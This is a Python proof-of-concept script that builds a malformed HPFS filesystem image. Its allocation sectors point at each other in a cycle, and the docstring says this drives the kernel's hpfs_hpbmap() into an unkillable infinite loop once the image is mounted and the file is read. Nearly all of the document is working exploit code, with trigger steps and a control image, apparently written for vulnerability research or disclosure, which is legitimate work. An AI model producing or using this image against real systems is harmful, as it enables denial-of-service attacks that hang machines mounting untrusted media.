DF-0858 / craft_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 | #!/usr/bin/env python3 """ DF-0858 โ Hand-crafted minimal HPFS image to trigger the unbounded dive-depth infinite kernel loop in hpfs_hpbmap() (sys/vfs/hpfs/hpfs_alsubr.c:78,110) via cyclic AlSec pointers. The image is laid out as follows (sector size = 512B, DEV_BSIZE): LSN contents ---- --------------------------------------------------------------- 0x00 boot sector (zeros, 0x55AA sig) 0x10 SuperBlock (magic FA53E9C5F995E849; rootfno=0x20; btotal=0xA0; su_bitmap.lsn1=0x30) 0x11 SpareBlock (magic FA5229C5F9911849; sp_cpinum=0) 0x20 root fnode (VDIR; fn_ab: AB_NODES leaf, busycnt=1; alleaf[0]={0,1,0x40}) 0x30 bitmap dir (one u32 = 0x38, the bitmap sector) 0x38 bitmap (4KB = 8 sectors; mark used sectors) 0x40 dirblk (4 sectors = 2KB; D_MAGIC=77E40AAE; one dirent "FILE" -> fnode LSN=0x48) 0x48 file fnode (VREG; fn_size=0x10000; FORGED fn_ab: AB_NODES set, busycnt=1; alnode[0]={an_nextoff=0xFFFFFFFF, an_lsn=0x60} -> AlSec A) 0x60 AlSec A (magic 0x37E40AAE; AB_NODES set, busycnt=1; alnode[0]={an_nextoff=0xFFFFFFFF, an_lsn=0x80} -> AlSec B) 0x80 AlSec B (magic 0x37E40AAE; AB_NODES set, busycnt=1; alnode[0]={an_nextoff=0xFFFFFFFF, an_lsn=0x60} -> AlSec A *** CYCLE BACK ***) 0xA0 (end of allocated image) Mount: mount_hpfs -o ro /dev/vnX /mnt (root) Trigger (as unpriv user): cat /mnt/FILE or stat /mnt/FILE -> VOP_READ/VOP_GETATTR -> hpfs_hpbmap -> dives A->B->A->B->... forever (no depth cap, no visited-set, no cycle detection). After first pass both AlSec buffers are B_CACHE so bread() returns immediately -> TIGHT KERNEL CPU SPIN; the process is unkillable (SIGKILL cannot deliver while in kernel mode). The guest becomes unresponsive; only vm.sh reset can recover. Control image (build_image(control=True)) points AlSec A's child at a leaf AlSec instead of B, so the loop terminates normally โ proves the cycle is the cause, not the structure. References: sys/vfs/hpfs/hpfs_alsubr.c:78 dive: label sys/vfs/hpfs/hpfs_alsubr.c:80 for(i=0;i<ab_busycnt;i++) on AlNodes sys/vfs/hpfs/hpfs_alsubr.c:82 if (bn < anp->an_nextoff) sys/vfs/hpfs/hpfs_alsubr.c:89 bread(devvp, dbtodoff(anp->an_lsn), ...) sys/vfs/hpfs/hpfs_alsubr.c:99 AS_MAGIC check sys/vfs/hpfs/hpfs_alsubr.c:106 abp = &asp->as_ab; (descend into child) sys/vfs/hpfs/hpfs_alsubr.c:110 goto dive; (no depth counter!) sys/vfs/hpfs/hpfs.h:172-178 struct alblk sys/vfs/hpfs/hpfs.h:233-236 struct alnode sys/vfs/hpfs/hpfs.h:261-268 struct alsec, AS_MAGIC """ import struct, sys SECTOR = 512 # magics SU_MAGIC = 0xFA53E9C5F995E849 SP_MAGIC = 0xFA5229C5F9911849 FN_MAGIC = 0xF7E40AAE D_MAGIC = 0x77E40AAE AS_MAGIC = 0x37E40AAE AB_NODES = 0x80 # struct fnode offsets (same as DF-0857 craft_img.py โ verified vs hpfs.h amd64) FN_OFF_MAGIC = 0x00 FN_OFF_HIST = 0x08 FN_OFF_NAMELEN = 0x10 FN_OFF_NAME = 0x11 FN_OFF_PARENT = 0x20 FN_OFF_ACL = 0x24 FN_OFF_ACLLEN = 0x2C FN_OFF_ACLFLG = 0x2E FN_OFF_HISTBC = 0x2F FN_OFF_EXTEA = 0x30 FN_OFF_EALEN = 0x38 FN_OFF_EXTEAFLG= 0x3A FN_OFF_FLAG = 0x3B FN_OFF_AB = 0x3C FN_OFF_ABD = 0x44 FN_OFF_SIZE = 0xA4 # alblk_t internal layout AB_OFF_FLAG = 0 AB_OFF_FREECNT = 4 AB_OFF_BUSYCNT = 5 AB_OFF_FREEOFF = 6 # u16 # struct alsec offsets (computed from hpfs.h struct alsec): # as_magic u32 @ 0x00 # as_self lsn_t @ 0x04 # as_parent lsn_t @ 0x08 # as_ab alblk @ 0x0C (8 bytes) # as_abd[0x1E0] @ 0x14 AS_OFF_MAGIC = 0x00 AS_OFF_SELF = 0x04 AS_OFF_PARENT = 0x08 AS_OFF_AB = 0x0C AS_OFF_ABD = 0x14 # alnode_t (an_nextoff u32, an_lsn u32) = 8 bytes AN_OFF_NEXTOFF = 0x00 AN_OFF_LSN = 0x04 # Image layout constants (LSNs in sectors) LSN_BOOT = 0x00 LSN_SUPER = 0x10 LSN_SPARE = 0x11 LSN_ROOTFN = 0x20 LSN_BMINDIR = 0x30 LSN_BITMAP = 0x38 # 8 sectors (4KB) bitmap band LSN_DIRBLK = 0x40 # 4 sectors (2KB) dirblk LSN_FILEFN = 0x48 # file fnode (FORGED cyclic alnode tree) LSN_ALSEC_A = 0x60 # AlSec A -> child = AlSec B LSN_ALSEC_B = 0x80 # AlSec B -> child = AlSec A *** CYCLE *** LSN_ALSEC_LEAF= 0x90 # (only used in control image: A -> leaf AlSec) LSN_TOTAL = 0xA0 # total image size in sectors (80 KiB) def build_image(outpath, cyclic=True): """Build the HPFS image. cyclic=True -> AlSec A points to AlSec B and B points back to A (INFINITE LOOP) cyclic=False -> AlSec A points to a leaf AlSec whose single alleaf maps bn=0 -> LSN_ALSEC_LEAF+1 (terminates normally โ control) """ size = LSN_TOTAL * SECTOR img = bytearray(size) def wr32(off, v): struct.pack_into('<I', img, off, v & 0xFFFFFFFF) def wr64(off, v): struct.pack_into('<Q', img, off, v & 0xFFFFFFFFFFFFFFFF) def wr16(off, v): struct.pack_into('<H', img, off, v & 0xFFFF) def wr8 (off, v): img[off] = v & 0xFF # ---- Boot sector (sector 0): minimal JMP + 0x55AA ---- img[0] = 0xEB wr16(SECTOR - 2, 0xAA55) # ---- SuperBlock @ 0x10 ---- su = LSN_SUPER * SECTOR wr64(su + 0, SU_MAGIC) wr8 (su + 8, 2) # su_hpfsver wr8 (su + 9, 0) # su_fnctver wr16(su + 10, 0) # unused wr32(su + 12, LSN_ROOTFN) # su_rootfno wr32(su + 16, LSN_TOTAL) # su_btotal wr32(su + 20, 0) # su_badbtotal wr32(su + 24, LSN_BMINDIR) # su_bitmap.lsn1 wr32(su + 28, LSN_BMINDIR) # su_bitmap.lsn2 wr32(su + 32, 0); wr32(su + 36, 0) # su_badbl # ---- SpareBlock @ 0x11 ---- sp = LSN_SPARE * SECTOR wr64(sp + 0, SP_MAGIC) # ---- Bitmap directory @ 0x30 (one u32 = bitmap sector 0x38) ---- bd = LSN_BMINDIR * SECTOR wr32(bd, LSN_BITMAP) # ---- Bitmap @ 0x38 (4KB). Mark all used sectors 0..0x8F used (bit cleared); # sectors 0x90..0x9F free (bit set). bit SET = sector FREE. ---- bm = LSN_BITMAP * SECTOR last_used = LSN_ALSEC_LEAF if cyclic else (LSN_ALSEC_LEAF + 1) for i in range(last_used): byte = bm + (i >> 3) img[byte] &= ~(1 << (i & 7)) for i in range(last_used, LSN_TOTAL): byte = bm + (i >> 3) img[byte] |= (1 << (i & 7)) # ---- Root fnode @ 0x20 (VDIR; leaf AlBlk; one alleaf -> dirblk) ---- rf = LSN_ROOTFN * SECTOR wr32(rf + FN_OFF_MAGIC, FN_MAGIC) wr64(rf + FN_OFF_HIST, 0) wr8 (rf + FN_OFF_NAMELEN, 1) img[rf + FN_OFF_NAME] = ord('.') wr32(rf + FN_OFF_PARENT, LSN_ROOTFN) # self-parent for root wr32(rf + FN_OFF_FLAG, 1) # VDIR (nonzero fn_flag) # fn_ab: leaf, busycnt=1, freecnt=7, freeoff=8+12 img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0 # leaf img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7 img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12) # alleaf[0]: al_off=0, al_len=1, al_lsn=LSN_DIRBLK wr32(rf + FN_OFF_ABD + 0, 0) wr32(rf + FN_OFF_ABD + 4, 1) wr32(rf + FN_OFF_ABD + 8, LSN_DIRBLK) wr32(rf + FN_OFF_SIZE, 4 * SECTOR) # dir size # ---- Dirblk @ 0x40 (4 sectors = 2KB). One dirent "FILE" -> file fnode. ---- db = LSN_DIRBLK * SECTOR wr32(db + 0, D_MAGIC) wr32(db + 4, 0x50) # d_freeoff (filled below) wr32(db + 8, 0) # d_chcnt wr32(db + 12, LSN_ROOTFN) # d_parent wr32(db + 16, LSN_DIRBLK) # d_self # dirent layout (same as DF-0857 craft_img.py โ matches DragonFly amd64 # in-kernel struct hpfsdirent, NOT OS/2 on-disk layout) name = b'FILE' de1_hdr = 0x2f de1_reclen = de1_hdr + len(name) de1_reclen = (de1_reclen + 3) & ~3 dep = db + 20 wr16(dep + 0x00, de1_reclen) wr16(dep + 0x02, 0) # flag: not special/down/end wr32(dep + 0x04, LSN_FILEFN) # de_fnode -> file fnode wr64(dep + 0x08, 0) # de_mtime u64 wr32(dep + 0x10, 0x10000) # de_size = 64KB (so hpfs_hpbmap is called # with bn=0..127 on cat) wr64(dep + 0x18, 0) # de_atime u64 wr64(dep + 0x20, 0) # de_ctime u64 wr32(dep + 0x28, 0) # de_ealen img[dep + 0x2c] = 0 img[dep + 0x2d] = 0 img[dep + 0x2e] = len(name) for i in range(len(name)): img[dep + 0x2f + i] = name[i] dep2 = dep + de1_reclen end_reclen = 4 * SECTOR - (dep2 - db) wr16(dep2 + 0x00, end_reclen) wr16(dep2 + 0x02, 0x08) # DE_END wr32(db + 4, (dep2 + 4) - db) # ---- File fnode @ 0x48 (VREG; FORGED AB_NODES AlBlk; one alnode -> AlSec A) ---- ff = LSN_FILEFN * SECTOR wr32(ff + FN_OFF_MAGIC, FN_MAGIC) wr32(ff + FN_OFF_PARENT, LSN_ROOTFN) wr8 (ff + FN_OFF_NAMELEN, 4) img[ff + FN_OFF_NAME + 0] = ord('F') img[ff + FN_OFF_NAME + 1] = ord('I') img[ff + FN_OFF_NAME + 2] = ord('L') img[ff + FN_OFF_NAME + 3] = ord('E') wr32(ff + FN_OFF_FLAG, 0) # VREG # FORGED AlBlk: AB_NODES set, busycnt=1, freecnt=11, freeoff=8+8 img[ff + FN_OFF_AB + AB_OFF_FLAG] = AB_NODES # AB_NODES (forces the dive loop) img[ff + FN_OFF_AB + AB_OFF_FREECNT] = 11 img[ff + FN_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(ff + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 8) # alnode[0]: an_nextoff=0xFFFFFFFF (so any bn matches), an_lsn=AlSec A wr32(ff + FN_OFF_ABD + AN_OFF_NEXTOFF, 0xFFFFFFFF) wr32(ff + FN_OFF_ABD + AN_OFF_LSN, LSN_ALSEC_A) wr32(ff + FN_OFF_SIZE, 0x10000) # fn_size = 64KB (so cat reads bn=0..127) # ---- AlSec A @ 0x60 (AB_NODES, busycnt=1; alnode[0] -> AlSec B) ---- aA = LSN_ALSEC_A * SECTOR wr32(aA + AS_OFF_MAGIC, AS_MAGIC) wr32(aA + AS_OFF_SELF, LSN_ALSEC_A) wr32(aA + AS_OFF_PARENT, LSN_FILEFN) img[aA + AS_OFF_AB + AB_OFF_FLAG] = AB_NODES img[aA + AS_OFF_AB + AB_OFF_FREECNT] = 59 # 60-1 img[aA + AS_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(aA + AS_OFF_AB + AB_OFF_FREEOFF, 8 + 8) if cyclic: # CYCLE: A -> B wr32(aA + AS_OFF_ABD + AN_OFF_NEXTOFF, 0xFFFFFFFF) wr32(aA + AS_OFF_ABD + AN_OFF_LSN, LSN_ALSEC_B) else: # CONTROL: A -> leaf AlSec wr32(aA + AS_OFF_ABD + AN_OFF_NEXTOFF, 0xFFFFFFFF) wr32(aA + AS_OFF_ABD + AN_OFF_LSN, LSN_ALSEC_LEAF) # ---- AlSec B @ 0x80 (AB_NODES, busycnt=1; alnode[0] -> AlSec A) CYCLE ---- aB = LSN_ALSEC_B * SECTOR wr32(aB + AS_OFF_MAGIC, AS_MAGIC) wr32(aB + AS_OFF_SELF, LSN_ALSEC_B) wr32(aB + AS_OFF_PARENT, LSN_ALSEC_A) img[aB + AS_OFF_AB + AB_OFF_FLAG] = AB_NODES img[aB + AS_OFF_AB + AB_OFF_FREECNT] = 59 img[aB + AS_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(aB + AS_OFF_AB + AB_OFF_FREEOFF, 8 + 8) # CYCLE: B -> A wr32(aB + AS_OFF_ABD + AN_OFF_NEXTOFF, 0xFFFFFFFF) wr32(aB + AS_OFF_ABD + AN_OFF_LSN, LSN_ALSEC_A) if not cyclic: # ---- Leaf AlSec @ 0x90 (CONTROL): one alleaf mapping bn=0 -> LSN 0x91 ---- aL = LSN_ALSEC_LEAF * SECTOR wr32(aL + AS_OFF_MAGIC, AS_MAGIC) wr32(aL + AS_OFF_SELF, LSN_ALSEC_LEAF) wr32(aL + AS_OFF_PARENT, LSN_ALSEC_A) img[aL + AS_OFF_AB + AB_OFF_FLAG] = 0 # leaf img[aL + AS_OFF_AB + AB_OFF_FREECNT] = 39 # 40-1 img[aL + AS_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(aL + AS_OFF_AB + AB_OFF_FREEOFF, 8 + 12) # alleaf[0]: al_off=0, al_len=0x80 (covers all 128 bn), al_lsn=LSN 0x91 wr32(aL + AS_OFF_ABD + 0, 0) wr32(aL + AS_OFF_ABD + 4, 0x80) wr32(aL + AS_OFF_ABD + 8, LSN_ALSEC_LEAF + 1) with open(outpath, 'wb') as f: f.write(img) print(f"wrote {outpath}: {len(img)} bytes; cyclic={cyclic}") if __name__ == '__main__': if len(sys.argv) > 2 and sys.argv[2] == 'control': build_image(sys.argv[1], cyclic=False) else: build_image(sys.argv[1] if len(sys.argv) > 1 else 'df858.img', cyclic=True) |